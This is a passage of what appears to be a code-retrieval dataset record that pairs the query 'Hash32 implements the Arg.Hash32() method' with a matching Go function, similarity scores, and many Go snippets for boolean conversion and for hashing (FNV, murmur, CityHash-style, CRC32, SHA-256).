{\n\t\tt.Error(err.Error())\n\t\treturn\n\t}\n\n\tif len(lex.tokens) != 1 {\n\t\tt.Error(\"expecting 1 token to be fetched\")\n\t\treturn\n\t}\n\n\ttoken := lex.tokens[0]\n\tif token.t != TokenBool {\n\t\tt.Errorf(\"unexpected token type %d (%s), expecting token type %d (%s)\", token.t, tokenTypeMap[token.t], TokenBool, tokenTypeMap[TokenBool])\n\t\treturn\n\t}\n\n\tif token.String() != expected {\n\t\tt.Errorf(\"unexpected %s, expecting %s\", token.String(), expected)\n\t}\n}", "func isTrue(val reflect.Value) (truth, ok bool) {\n\tif !val.IsValid() {\n\t\t// Something like var x interface{}, never set. It's a form of nil.\n\t\treturn false, true\n\t}\n\tswitch val.Kind() {\n\tcase reflect.Array, reflect.Map, reflect.Slice, reflect.String:\n\t\ttruth = val.Len() > 0\n\tcase reflect.Bool:\n\t\ttruth = val.Bool()\n\tcase reflect.Complex64, reflect.Complex128:\n\t\ttruth = val.Complex() != 0\n\tcase reflect.Chan, reflect.Func, reflect.Ptr, reflect.Interface:\n\t\ttruth = !val.IsNil()\n\tcase reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:\n\t\ttruth = val.Int() != 0\n\tcase reflect.Float32, reflect.Float64:\n\t\ttruth = val.Float() != 0\n\tcase reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uintptr:\n\t\ttruth = val.Uint() != 0\n\tcase reflect.Struct:\n\t\ttruth = true // Struct values are always true.\n\tdefault:\n\t\treturn\n\t}\n\treturn truth, true\n}", "func (sr *StringResult) Bool() (bool, error) {\n\treturn redis.Bool(sr.val, nil)\n}", "func (r *Redis) Bool(reply interface{}, err error) (bool, error) {\n\treturn redigo.Bool(reply, err)\n}", "func TestBoolVal(t *testing.T) {\n\tConvey(\"Testing BoolVal\", t, func() {\n\t\ttrueValues := []string{\"yes\", \"ok\", \"true\", \"1\", \"enabled\", \"True\", \"TRUE\", \"YES\", \"Yes\"}\n\t\tfalseValues := []string{\"no\", \"0\", \"false\", \"False\", \"FALSE\", \"disabled\"}\n\t\tfor _, val := range trueValues {\n\t\t\tSo(BoolVal(val), ShouldBeTrue)\n\t\t}\n\t\tfor _, val := range falseValues {\n\t\t\tSo(BoolVal(val), ShouldBeFalse)\n\t\t}\n\t})\n}", "func TestCheckBinaryExprBoolEqlBool(t *testing.T) {\n\tenv := MakeSimpleEnv()\n\n\texpectConst(t, `true == true`, env, (true == true), ConstBool)\n}", "func TestCheckBinaryExprBoolGtrBool(t *testing.T) {\n\tenv := MakeSimpleEnv()\n\n\texpectCheckError(t, `true > true`, env,\n\t\t`invalid operation: true > true (operator > not defined on bool)`,\n\t)\n\n}", "func (opa *OPA) Bool(ctx context.Context, input interface{}, opts ...func(*rego.Rego)) (bool, error) {\n\n\tm := metrics.New()\n\tvar decisionID string\n\tvar revision string\n\tvar decision bool\n\n\terr := storage.Txn(ctx, opa.manager.Store, storage.TransactionParams{}, func(txn storage.Transaction) error {\n\n\t\tvar err error\n\n\t\trevision, err = getRevision(ctx, opa.manager.Store, txn)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tdecisionID, err = uuid4()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\topts = append(opts,\n\t\t\trego.Metrics(m),\n\t\t\trego.Query(defaultDecision),\n\t\t\trego.Input(input),\n\t\t\trego.Compiler(opa.manager.GetCompiler()),\n\t\t\trego.Store(opa.manager.Store),\n\t\t\trego.Transaction(txn))\n\n\t\trs, err := rego.New(opts...).Eval(ctx)\n\n\t\tif err != nil {\n\t\t\treturn err\n\t\t} else if len(rs) == 0 {\n\t\t\treturn fmt.Errorf(\"undefined decision\")\n\t\t} else if b, ok := rs[0].Expressions[0].Value.(bool); !ok || len(rs) > 1 {\n\t\t\treturn fmt.Errorf(\"non-boolean decision\")\n\t\t} else {\n\t\t\tdecision = b\n\t\t}\n\n\t\treturn nil\n\t})\n\n\tif opa.decisionLogsPlugin != nil {\n\t\trecord := &server.Info{\n\t\t\tRevision: revision,\n\t\t\tDecisionID: decisionID,\n\t\t\tTimestamp: time.Now(),\n\t\t\tQuery: defaultDecision,\n\t\t\tInput: input,\n\t\t\tError: err,\n\t\t\tMetrics: m,\n\t\t}\n\t\tif err == nil {\n\t\t\tvar x interface{} = decision\n\t\t\trecord.Results = &x\n\t\t}\n\t\topa.decisionLogsPlugin.Log(ctx, record)\n\t}\n\n\treturn decision, err\n}", "func False(v bool) {\n\tassert(!v, 1, \"assert false\")\n}", "func isTruthy(o object.Object) bool {\n\tswitch o {\n\tcase ConstFalse, ConstNil:\n\t\treturn false\n\tdefault:\n\t\t// special case: 0 or 0.0 is not truthy\n\t\tswitch o.Type() {\n\t\tcase object.IntType:\n\t\t\tif o.(*object.Integer).Value == 0 {\n\t\t\t\treturn false\n\t\t\t}\n\t\tcase object.FloatType:\n\t\t\tif o.(*object.Float).Value == 0.0 {\n\t\t\t\treturn false\n\t\t\t}\n\t\t}\n\n\t\treturn true\n\t}\n}", "func isBoolean(t Type) bool { return isBasic(t, IsBoolean) }", "func Bool(a bool, b bool) bool {\n\treturn a == b\n}", "func (r *Decoder) Bool() bool {\n\tr.Sync(SyncBool)\n\tx, err := r.Data.ReadByte()\n\tr.checkErr(err)\n\tassert(x < 2)\n\treturn x != 0\n}", "func Bool(v *bool) bool {\n\tif v != nil {\n\t\treturn *v\n\t}\n\treturn false\n}", "func (this *Not) Type() value.Type { return value.BOOLEAN }", "func False(t TestingT, v interface{}, extras ...interface{}) bool {\n\tval, ok := v.(bool)\n\tif !ok || val != false {\n\t\texps, acts := toString(false, v)\n\n\t\treturn Errorf(t, \"Expect to be false\", []labeledOutput{\n\t\t\t{\n\t\t\t\tlabel: labelMessages,\n\t\t\t\tcontent: formatExtras(extras...),\n\t\t\t},\n\t\t\t{\n\t\t\t\tlabel: \"-expected\",\n\t\t\t\tcontent: exps,\n\t\t\t},\n\t\t\t{\n\t\t\t\tlabel: \"+received\",\n\t\t\t\tcontent: acts,\n\t\t\t},\n\t\t})\n\t}\n\n\treturn true\n}", "func (n *eeNum) bool() *bool { return (*bool)(unsafe.Pointer(&n.data)) }", "func (data *Data) Bool(s ...string) bool {\n\treturn data.Interface(s...).(bool)\n}", "func (*Base) LiteralBoolean(p ASTPass, node *ast.LiteralBoolean, ctx Context) {\n}", "func (v Boolean) Bool() bool {\n\treturn v.v\n}", "func (p Path) Truth() starlark.Bool { return starlark.True }", "func (b *Boolean) Raw() bool {\n\treturn b.value\n}", "func Bool(b bool) int {\n\tif b {\n\t\treturn 1\n\t}\n\treturn 0\n}", "func BoolValue(t bool) Value {\n\tif t {\n\t\treturn Value{Typ: ':', IntegerV: 1}\n\t}\n\treturn Value{Typ: ':', IntegerV: 0}\n}", "func True(t testing.TB, ok bool, msgAndArgs ...interface{}) {\n\tif ok {\n\t\treturn\n\t}\n\tt.Helper()\n\tt.Fatal(formatMsgAndArgs(\"Expected expression to be true\", msgAndArgs...))\n}", "func TestGetBooleanTrue(t *testing.T) {\n\tclient := newQueriesClient(t)\n\tresult, err := client.GetBooleanTrue(context.Background(), nil)\n\trequire.NoError(t, err)\n\trequire.Zero(t, result)\n}", "func Bool(b bool) Cell {\n\tif b {\n\t\treturn True\n\t}\n\treturn Nil\n}", "func (c *C) Bool() Type {\n\t// TODO: support custom bool types\n\treturn c.e.Go().Bool()\n}", "func (t *Typed) Bool(key string) bool {\n\treturn t.BoolOr(key, false)\n}", "func (w *Writer) Bool(b bool) error {\n\tif b {\n\t\treturn w.Bit(1)\n\t}\n\treturn w.Bit(0)\n}", "func Bool(v bool) *bool { return &v }", "func Bool(v bool) *bool { return &v }", "func Bool(v bool) *bool { return &v }", "func Bool(v bool) *bool { return &v }", "func Bool(v bool) *bool { return &v }", "func Bool(v bool) *bool { return &v }" ]
[ "0.6302526", "0.6080101", "0.60129184", "0.58864635", "0.5808124", "0.57730013", "0.5767958", "0.5739565", "0.57394236", "0.57306063", "0.5705854", "0.569673", "0.5695482", "0.56939113", "0.5689309", "0.56702256", "0.5668591", "0.5640195", "0.5632629", "0.561903", "0.5585214", "0.5531326", "0.5501409", "0.5480797", "0.54750484", "0.54680777", "0.54490614", "0.5448442", "0.5439179", "0.54279584", "0.5425224", "0.5417215", "0.5402517", "0.53970605", "0.5389342", "0.53853536", "0.53770196", "0.5376137", "0.5358787", "0.5339695", "0.53338957", "0.5316804", "0.53156185", "0.5313072", "0.531223", "0.53105205", "0.5305221", "0.5284437", "0.528295", "0.52826446", "0.5279908", "0.5275551", "0.5272672", "0.5268835", "0.5268199", "0.5267804", "0.5264897", "0.52616864", "0.52612823", "0.5253428", "0.5250413", "0.5227911", "0.52198505", "0.52143174", "0.5208065", "0.52067065", "0.52066696", "0.519961", "0.5198307", "0.5194877", "0.5192432", "0.51867753", "0.5182572", "0.51812017", "0.51743495", "0.5170889", "0.51696765", "0.5156138", "0.5154562", "0.5154103", "0.51323307", "0.5132321", "0.5126496", "0.5118254", "0.51149327", "0.51061475", "0.51024115", "0.5099301", "0.5098613", "0.5091731", "0.5083631", "0.50834954", "0.5081787", "0.5059703", "0.50565106", "0.50565106", "0.50565106", "0.50565106", "0.50565106", "0.50565106" ]
0.58375704
4
Hash32 implements the Arg.Hash32() method.
func (t *Target) Hash32(h hash.Hash32) { h.Write([]byte(t.Name)) h.Write([]byte(t.Builder)) for _, arg := range t.Args { arg.Hash32(h) } for _, env := range t.Env { h.Write([]byte(env)) } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (p Path) Hash32(h hash.Hash32) { h.Write([]byte(p)) }", "func CalcHash32(data []byte) Hash32 {\n\treturn hash.Sum(data)\n}", "func (s String) Hash32(h hash.Hash32) { h.Write([]byte(s)) }", "func HexToHash32(s string) Hash32 { return BytesToHash(util.FromHex(s)) }", "func (s *Sub) Hash32(h hash.Hash32) {\n\th.Write([]byte(s.Format))\n\tfor _, sub := range s.Substitutions {\n\t\th.Write([]byte(sub.Key))\n\t\tsub.Value.Hash32(h)\n\t}\n}", "func (ch *ConsistentHash) fnv32Hash(key string) uint32 {\n\tnew32Hash := fnv.New32()\n\tnew32Hash.Write([]byte(key))\n\treturn new32Hash.Sum32()\n}", "func hash(s string) uint32 {\n h := fnv.New32a()\n h.Write([]byte(s))\n return h.Sum32()\n}", "func hash(value string) uint32 {\n\th := fnv.New32a()\n\th.Write([]byte(value))\n\n\treturn h.Sum32()\n}", "func Hash(strings ...string) uint32 {\n\tdigester := fnv.New32()\n\tfor _, s := range strings {\n\t\t_, _ = io.WriteString(digester, s)\n\t}\n\treturn digester.Sum32()\n}", "func Hash(key string) uint32 {\n\treturn uint32(aeshashstr(noescape(unsafe.Pointer(&key)), 0))\n}", "func f32hash(p unsafe.Pointer, h uintptr) uintptr {\n\tf := *(*float32)(p)\n\tswitch {\n\tcase f == 0:\n\t\treturn c1 * (c0 ^ h) // +0, -0\n\tcase f != f:\n\t\treturn c1 * (c0 ^ h ^ uintptr(fastrand())) // any kind of NaN\n\tdefault:\n\t\treturn memhash(p, h, 4)\n\t}\n}", "func FNVHash32(value uint32) uint32 {\n\thash := FNVOffsetBasis32\n\tfor i := 0; i < 4; i++ {\n\t\toctet := value & 0x00FF\n\t\tvalue >>= 8\n\n\t\thash ^= octet\n\t\thash *= FNVPrime32\n\t}\n\treturn hash\n}", "func hash(x []byte) uint32 {\n\treturn crc32.ChecksumIEEE(x)\n}", "func Hash32(s []byte) uint32 {\n\tn := uint32(len(s))\n\tif n <= 24 {\n\t\tif n <= 12 {\n\t\t\tif n <= 4 {\n\t\t\t\treturn hash32Len0to4(s)\n\t\t\t}\n\t\t\treturn hash32Len5to12(s)\n\t\t}\n\t\treturn hash32Len13to24(s)\n\t}\n\n\t// n > 24\n\th := n\n\tg := c1 * n\n\tf := g\n\n\ta0 := ror32(fetch32(s[n-4:])*c1, 17) * c2\n\ta1 := ror32(fetch32(s[n-8:])*c1, 17) * c2\n\ta2 := ror32(fetch32(s[n-16:])*c1, 17) * c2\n\ta3 := ror32(fetch32(s[n-12:])*c1, 17) * c2\n\ta4 := ror32(fetch32(s[n-20:])*c1, 17) * c2\n\n\tconst magic = 0xe6546b64\n\th ^= a0\n\th = ror32(h, 19)\n\th = h*5 + magic\n\th ^= a2\n\th = ror32(h, 19)\n\th = h*5 + magic\n\tg ^= a1\n\tg = ror32(g, 19)\n\tg = g*5 + magic\n\tg ^= a3\n\tg = ror32(g, 19)\n\tg = g*5 + magic\n\tf += a4\n\tf = ror32(f, 19)\n\tf = f*5 + magic\n\tfor i := (n - 1) / 20; i != 0; i-- {\n\t\ta0 := ror32(fetch32(s)*c1, 17) * c2\n\t\ta1 := fetch32(s[4:])\n\t\ta2 := ror32(fetch32(s[8:])*c1, 17) * c2\n\t\ta3 := ror32(fetch32(s[12:])*c1, 17) * c2\n\t\ta4 := fetch32(s[16:])\n\t\th ^= a0\n\t\th = ror32(h, 18)\n\t\th = h*5 + magic\n\t\tf += a1\n\t\tf = ror32(f, 19)\n\t\tf = f * c1\n\t\tg += a2\n\t\tg = ror32(g, 18)\n\t\tg = g*5 + magic\n\t\th ^= a3 + a1\n\t\th = ror32(h, 19)\n\t\th = h*5 + magic\n\t\tg ^= a4\n\t\tg = bswap32(g) * 5\n\t\th += a4 * 5\n\t\th = bswap32(h)\n\t\tf += a0\n\t\tf, g, h = g, h, f // a.k.a. PERMUTE3\n\t\ts = s[20:]\n\t}\n\tg = ror32(g, 11) * c1\n\tg = ror32(g, 17) * c1\n\tf = ror32(f, 11) * c1\n\tf = ror32(f, 17) * c1\n\th = ror32(h+g, 19)\n\th = h*5 + magic\n\th = ror32(h, 17) * c1\n\th = ror32(h+f, 19)\n\th = h*5 + magic\n\th = ror32(h, 17) * c1\n\treturn h\n}", "func hash(s string) int {\n\th := fnv.New32a()\n\tif _, err := h.Write([]byte(s)); err != nil {\n\t\tpanic(err) // should never happen\n\t}\n\n\treturn int(h.Sum32() & 0x7FFFFFFF) // mask MSB of uint32 as this will be sign bit\n}", "func (gg GlobGroup) Hash32(h hash.Hash32) {\n\tfor _, p := range gg {\n\t\th.Write([]byte(p))\n\t}\n}", "func Hash32(s []byte) uint32 {\n\n\tslen := len(s)\n\n\tif slen <= 24 {\n\t\tif slen <= 12 {\n\t\t\tif slen <= 4 {\n\t\t\t\treturn hash32Len0to4(s, 0)\n\t\t\t}\n\t\t\treturn hash32Len5to12(s, 0)\n\t\t}\n\t\treturn hash32Len13to24Seed(s, 0)\n\t}\n\n\t// len > 24\n\th := uint32(slen)\n\tg := c1 * uint32(slen)\n\tf := g\n\ta0 := rotate32(fetch32(s, slen-4)*c1, 17) * c2\n\ta1 := rotate32(fetch32(s, slen-8)*c1, 17) * c2\n\ta2 := rotate32(fetch32(s, slen-16)*c1, 17) * c2\n\ta3 := rotate32(fetch32(s, slen-12)*c1, 17) * c2\n\ta4 := rotate32(fetch32(s, slen-20)*c1, 17) * c2\n\th ^= a0\n\th = rotate32(h, 19)\n\th = h*5 + 0xe6546b64\n\th ^= a2\n\th = rotate32(h, 19)\n\th = h*5 + 0xe6546b64\n\tg ^= a1\n\tg = rotate32(g, 19)\n\tg = g*5 + 0xe6546b64\n\tg ^= a3\n\tg = rotate32(g, 19)\n\tg = g*5 + 0xe6546b64\n\tf += a4\n\tf = rotate32(f, 19) + 113\n\titers := (slen - 1) / 20\n\tfor {\n\t\ta := fetch32(s, 0)\n\t\tb := fetch32(s, 4)\n\t\tc := fetch32(s, 8)\n\t\td := fetch32(s, 12)\n\t\te := fetch32(s, 16)\n\t\th += a\n\t\tg += b\n\t\tf += c\n\t\th = mur(d, h) + e\n\t\tg = mur(c, g) + a\n\t\tf = mur(b+e*c1, f) + d\n\t\tf += g\n\t\tg += f\n\t\ts = s[20:]\n\t\titers--\n\t\tif iters == 0 {\n\t\t\tbreak\n\t\t}\n\t}\n\tg = rotate32(g, 11) * c1\n\tg = rotate32(g, 17) * c1\n\tf = rotate32(f, 11) * c1\n\tf = rotate32(f, 17) * c1\n\th = rotate32(h+g, 19)\n\th = h*5 + 0xe6546b64\n\th = rotate32(h, 17) * c1\n\th = rotate32(h+f, 19)\n\th = h*5 + 0xe6546b64\n\th = rotate32(h, 17) * c1\n\treturn h\n}", "func (h Hash20) ToHash32() (h32 Hash32) {\n\tcopy(h32[:], h[:])\n\treturn\n}", "func TestExample(t *testing.T) {\n\tstr := \"hello world\"\n\tbytes := []byte(str)\n\thash := Hash32(bytes)\n\tfmt.Printf(\"Hash32(%s) is %x\\n\", str, hash)\n}", "func hash(data []byte) uint32 {\n\tvar h uint32 = binary.LittleEndian.Uint32(data) * kDictHashMul32\n\n\t/* The higher bits contain more mixture from the multiplication,\n\t so we take our results from there. */\n\treturn h >> uint(32-kDictNumBits)\n}", "func (h *Hash) Sum32() (uint32, bool) {\n\th32, ok := h.Hash.(hash.Hash32)\n\tif !ok {\n\t\treturn 0, false\n\t}\n\n\treturn h32.Sum32(), true\n}", "func (t *hashReader) Sum32() uint32 {\n\treturn t.h.Sum32()\n}", "func (d Data32) Hash() Hash {\n\treturn hash(d)\n}", "func hash3(u uint32, h uint8) uint32 {\n\treturn ((u << (32 - 24)) * prime3bytes) >> ((32 - h) & 31)\n}", "func hash(elements ...[32]byte) [32]byte {\n\tvar hash []byte\n\tfor i := range elements {\n\t\thash = append(hash, elements[i][:]...)\n\t}\n\treturn sha256.Sum256(hash)\n}", "func strhash(a unsafe.Pointer, h uintptr) uintptr", "func CalcObjectHash32(obj scale.Encodable) Hash32 {\n\tbytes, err := codec.Encode(obj)\n\tif err != nil {\n\t\tpanic(\"could not serialize object\")\n\t}\n\treturn CalcHash32(bytes)\n}", "func (h *Hash) IsHash32() bool {\n\t_, ok := h.Hash.(hash.Hash32)\n\treturn ok\n}", "func TestHash32(t *testing.T) {\n\tstdHash := crc32.New(crc32.IEEETable)\n\tif _, err := stdHash.Write([]byte(\"test\")); err != nil {\n\t\tt.Fatal(err)\n\t}\n\t// create a new hash with stdHash.Sum32() as initial crc\n\tcrcHash := New(stdHash.Sum32(), crc32.IEEETable)\n\n\tstdHashSize := stdHash.Size()\n\tcrcHashSize := crcHash.Size()\n\tif stdHashSize != crcHashSize {\n\t\tt.Fatalf(\"%d != %d\", stdHashSize, crcHashSize)\n\t}\n\n\tstdHashBlockSize := stdHash.BlockSize()\n\tcrcHashBlockSize := crcHash.BlockSize()\n\tif stdHashBlockSize != crcHashBlockSize {\n\t\tt.Fatalf(\"%d != %d\", stdHashBlockSize, crcHashBlockSize)\n\t}\n\n\tstdHashSum32 := stdHash.Sum32()\n\tcrcHashSum32 := crcHash.Sum32()\n\tif stdHashSum32 != crcHashSum32 {\n\t\tt.Fatalf(\"%d != %d\", stdHashSum32, crcHashSum32)\n\t}\n\n\tstdHashSum := stdHash.Sum(make([]byte, 32))\n\tcrcHashSum := crcHash.Sum(make([]byte, 32))\n\tif !reflect.DeepEqual(stdHashSum, crcHashSum) {\n\t\tt.Fatalf(\"sum = %v, want %v\", crcHashSum, stdHashSum)\n\t}\n\n\t// write something\n\tif _, err := stdHash.Write([]byte(\"hello\")); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif _, err := crcHash.Write([]byte(\"hello\")); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tstdHashSum32 = stdHash.Sum32()\n\tcrcHashSum32 = crcHash.Sum32()\n\tif stdHashSum32 != crcHashSum32 {\n\t\tt.Fatalf(\"%d != %d\", stdHashSum32, crcHashSum32)\n\t}\n\n\t// reset\n\tstdHash.Reset()\n\tcrcHash.Reset()\n\tstdHashSum32 = stdHash.Sum32()\n\tcrcHashSum32 = crcHash.Sum32()\n\tif stdHashSum32 != crcHashSum32 {\n\t\tt.Fatalf(\"%d != %d\", stdHashSum32, crcHashSum32)\n\t}\n}", "func Hash(length int, key string) int64 {\n\tif key == \"\" {\n\t\treturn 0\n\t}\n\thc := hashCode(key)\n\treturn (hc ^ (hc >> 16)) % int64(length)\n}", "func Sum32(key string) uint32 {\n\treturn Sum32Seed(key, 0)\n}", "func HashASM(k0, k1 uint64, p []byte) uint64", "func hash(key uint64) uint64 {\r\n\tkey ^= key >> 33\r\n\tkey *= 0xff51afd7ed558ccd\r\n\tkey ^= key >> 33\r\n\tkey *= 0xc4ceb9fe1a85ec53\r\n\tkey ^= key >> 33\r\n\treturn key\r\n}", "func strhash0(p unsafe.Pointer, h uintptr) uintptr", "func Hash(b []byte) uint32 {\n\tconst (\n\t\tseed = 0xbc9f1d34\n\t\tm = 0xc6a4a793\n\t)\n\th := uint32(seed) ^ uint32(len(b))*m\n\tfor ; len(b) >= 4; b = b[4:] {\n\t\th += uint32(b[0]) | uint32(b[1])<<8 | uint32(b[2])<<16 | uint32(b[3])<<24\n\t\th *= m\n\t\th ^= h >> 16\n\t}\n\tswitch len(b) {\n\tcase 3:\n\t\th += uint32(b[2]) << 16\n\t\tfallthrough\n\tcase 2:\n\t\th += uint32(b[1]) << 8\n\t\tfallthrough\n\tcase 1:\n\t\th += uint32(b[0])\n\t\th *= m\n\t\th ^= h >> 24\n\t}\n\treturn h\n}", "func HashFunction(buf []byte) uint32 {\n\tvar hash uint32 = 5381\n\tfor _, b := range buf {\n\t\thash = ((hash << 5) + hash) + uint32(b)\n\t}\n\treturn hash\n}", "func Bytes32ToIpfsHash(value [32]byte) (string, error) {\n\tbyteArray := [34]byte{18, 32}\n\tcopy(byteArray[2:], value[:])\n\tif len(byteArray) != 34 {\n\t\treturn \"\", errors.New(\"invalid bytes32 value\")\n\t}\n\n\thash := base58.Encode(byteArray[:])\n\treturn hash, nil\n}", "func byteshash(p *[]byte, h uintptr) uintptr", "func sumHash(c byte, h uint32) uint32 {\n\treturn (h * hashPrime) ^ uint32(c)\n}", "func (h Hash32) Hex() string { return util.Encode(h[:]) }", "func (this *Ring) Hash(key string) uint32 {\n\treturn crc32.ChecksumIEEE([]byte(key))\n}", "func hash(data []byte) [32]byte {\n\tvar hash [32]byte\n\n\th := sha256.New()\n\t// The hash interface never returns an error, for that reason\n\t// we are not handling the error below. For reference, it is\n\t// stated here https://golang.org/pkg/hash/#Hash\n\t// #nosec G104\n\th.Write(data)\n\th.Sum(hash[:0])\n\n\treturn hash\n}", "func FNV32(s string) uint32 {\n\treturn uint32Hasher(fnv.New32(), s)\n}", "func (h Hash32) Field() log.Field { return log.String(\"hash\", hex.EncodeToString(h[:])) }", "func hashInt(s string) uint32 {\n\tb := []byte(s)\n\th := crc32.ChecksumIEEE(b)\n\treturn h\n}", "func memhash(p unsafe.Pointer, h, s uintptr) uintptr", "func memhash(p unsafe.Pointer, h, s uintptr) uintptr", "func (_L1Block *L1BlockCaller) Hash(opts *bind.CallOpts) ([32]byte, error) {\n\tvar out []interface{}\n\terr := _L1Block.contract.Call(opts, &out, \"hash\")\n\n\tif err != nil {\n\t\treturn *new([32]byte), err\n\t}\n\n\tout0 := *abi.ConvertType(out[0], new([32]byte)).(*[32]byte)\n\n\treturn out0, err\n\n}", "func TestHash32(t *testing.T) {\n\tt.Parallel()\n\n\tconst n = 400\n\n\tf := NewOptimized(Config{\n\t\tCapacity: n,\n\t\tFPRate: .01,\n\t})\n\n\tr := rand.New(rand.NewSource(32))\n\n\tfor i := 0; i < n; i++ {\n\t\tf.Add(uint64(r.Uint32()))\n\t}\n\n\tconst nrounds = 8\n\tfp := 0\n\tfor i := n; i < nrounds*n; i++ {\n\t\tif f.Has(uint64(r.Uint32())) {\n\t\t\tfp++\n\t\t}\n\t}\n\n\tfprate := float64(fp) / (nrounds * n)\n\tt.Logf(\"FP rate = %.2f%%\", 100*fprate)\n\tassert.LessOrEqual(t, fprate, .1)\n}", "func Hash32WithSeed(s []byte, seed uint32) uint32 {\n\tslen := len(s)\n\n\tif slen <= 24 {\n\t\tif slen >= 13 {\n\t\t\treturn hash32Len13to24Seed(s, seed*c1)\n\t\t}\n\t\tif slen >= 5 {\n\t\t\treturn hash32Len5to12(s, seed)\n\t\t}\n\t\treturn hash32Len0to4(s, seed)\n\t}\n\th := hash32Len13to24Seed(s[:24], seed^uint32(slen))\n\treturn mur(Hash32(s[24:])+seed, h)\n}", "func Hash(key []byte) uint64 {\n\treturn murmur3.Sum64(key)\n}", "func hash(s string) string {\n\thash := fnv.New32a()\n\thash.Write([]byte(s))\n\tintHash := hash.Sum32()\n\tresult := fmt.Sprintf(\"%08x\", intHash)\n\treturn result\n}", "func hash4(u uint32, h uint8) uint32 {\n\treturn (u * prime4bytes) >> ((32 - h) & 31)\n}", "func hash4x64(u uint64, h uint8) uint32 {\n\treturn (uint32(u) * prime4bytes) >> ((32 - h) & 31)\n}", "func sha3hash(t *testing.T, data ...[]byte) []byte {\n\tt.Helper()\n\th := sha3.NewLegacyKeccak256()\n\tr, err := doSum(h, nil, data...)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\treturn r\n}", "func Checksum32(data []byte) uint32 {\n\treturn Checksum32Seed(data, 0)\n}", "func (s *ShardMap) hash(v interface{}) int {\n\tswitch s.Type {\n\tcase \"string\":\n\t\tval, ok := v.(string)\n\t\tif !ok {\n\t\t\treturn -1\n\t\t}\n\n\t\thash := fnv.New32()\n\t\thash.Write([]byte(val))\n\t\treturn int(hash.Sum32() % NumShards)\n\tcase \"int32\":\n\t\t// Values that come as numbers in JSON are of type float64.\n\t\tval, ok := v.(float64)\n\t\tif !ok {\n\t\t\treturn -1\n\t\t}\n\n\t\treturn int(int32(val) % NumShards)\n\tdefault:\n\t\treturn -1\n\t}\n}", "func hash(s string) string {\n\th := fnv.New32a()\n\t_, err := h.Write([]byte(s))\n\tif err != nil {\n\t\treturn \"\"\n\t}\n\treturn fmt.Sprint(h.Sum32())\n}", "func Sha3256(bs []byte) ([]byte, error) {\n\treturn PerformHash(sha3.New256(), bs)\n}", "func addrHash(addr uint16) byte {\n\treturn (byte(addr) ^ byte(addr>>8)) & 0x7f\n}", "func (p Path) Hash() (uint32, error) {\n\treturn adler32.Checksum([]byte(p)), nil\n}", "func (r *RunCtx) Hash() (uint32, error) {\n\treturn 0, fmt.Errorf(\"not hashable\")\n}", "func hash(k Key) int {\n\tkey := fmt.Sprintf(\"%s\", k)\n\th := 0\n\tfor i := 0; i < len(key); i++ {\n\t\th = 31 * h + int(key[i])\n\t}\n\treturn h\n}", "func (t *Target) Hash() (uint32, error) {\n\th := adler32.New()\n\tt.Hash32(h)\n\treturn h.Sum32(), nil\n}", "func Sha256Hash(data []byte) [32]byte {\n\tsum := sha256.Sum256(data)\n\treturn sum\n}", "func strhash(p *string, h uintptr) uintptr", "func eb32(bits uint32, hi uint8, lo uint8) uint32 {\n\tm := uint32(((1 << (hi - lo)) - 1) << lo)\n\treturn (bits & m) >> lo\n}", "func Sum32Seed(key string, seed uint32) uint32 {\n\tvar nblocks = len(key) / 4\n\tvar nbytes = nblocks * 4\n\tvar h1 = seed\n\tconst c1 = 0xcc9e2d51\n\tconst c2 = 0x1b873593\n\tfor i := 0; i < nbytes; i += 4 {\n\t\tk1 := uint32(key[i+0]) | uint32(key[i+1])<<8 |\n\t\t\tuint32(key[i+2])<<16 | uint32(key[i+3])<<24\n\t\tk1 *= c1\n\t\tk1 = (k1 << 15) | (k1 >> 17)\n\t\tk1 *= c2\n\t\th1 ^= k1\n\t\th1 = (h1 << 13) | (h1 >> 19)\n\t\th1 = h1*5 + 0xe6546b64\n\t}\n\tvar k1 uint32\n\tswitch len(key) & 3 {\n\tcase 3:\n\t\tk1 ^= uint32(key[nbytes+2]) << 16\n\t\tfallthrough\n\tcase 2:\n\t\tk1 ^= uint32(key[nbytes+1]) << 8\n\t\tfallthrough\n\tcase 1:\n\t\tk1 ^= uint32(key[nbytes+0])\n\t\tk1 *= c1\n\t\tk1 = (k1 << 15) | (k1 >> 17)\n\t\tk1 *= c2\n\t\th1 ^= k1\n\t}\n\th1 ^= uint32(len(key))\n\th1 ^= h1 >> 16\n\th1 *= 0x85ebca6b\n\th1 ^= h1 >> 13\n\th1 *= 0xc2b2ae35\n\th1 ^= h1 >> 16\n\treturn h1\n}", "func Hash(data []byte) (string, int64) {\n\thasher := adler32.New()\n\tb, e := hasher.Write(data)\n\tif e != nil {\n\t\tlogs.WithFields(logs.Fields{\n\t\t\t\"Error\": e,\n\t\t}).Error(\"Unable to write chunk of data via hasher.Write\", e)\n\t}\n\treturn hex.EncodeToString(hasher.Sum(nil)), int64(b)\n}", "func HashXXH3_64(input []byte, seed uint64) (result uint64) {\n\treturn parser.HashXXH3_64(input, seed)\n}", "func CalcBlocksHash32(view []BlockID, additionalBytes []byte) Hash32 {\n\tsortedView := make([]BlockID, len(view))\n\tcopy(sortedView, view)\n\tSortBlockIDs(sortedView)\n\treturn CalcBlockHash32Presorted(sortedView, additionalBytes)\n}", "func NewHashFromArray(bytes [32]byte) Hash32 {\n\treturn NewHashFromBytes(bytes[:])\n}", "func (t *openAddressing) hash(key string, round int) uint32 {\n\tnum := uint(stringToInt(key))\n\tmax := uint(len(t.values) - 1)\n\treturn uint32((hashDivision(num, max) + uint(round)*hashDivision2(num, max)) % max)\n}", "func hash(addr mino.Address) *big.Int {\n\tsha := sha256.New()\n\tmarshalled, err := addr.MarshalText()\n\tif err != nil {\n\t\tmarshalled = []byte(addr.String())\n\t}\n\t// A hack to accommodate for minogrpc's design:\n\t// 1) the first byte is used to indicate if a node is orchestrator or not\n\t// 2) the only way to reach the orchestrator is to route a message to nil\n\t// from its server side, which has the same address but orchestrator byte\n\t// set to f.\n\t// We therefore have to ignore if a node is the orchestrator to be able to\n\t// route the message first to its server side, then from the server side to\n\t// the client 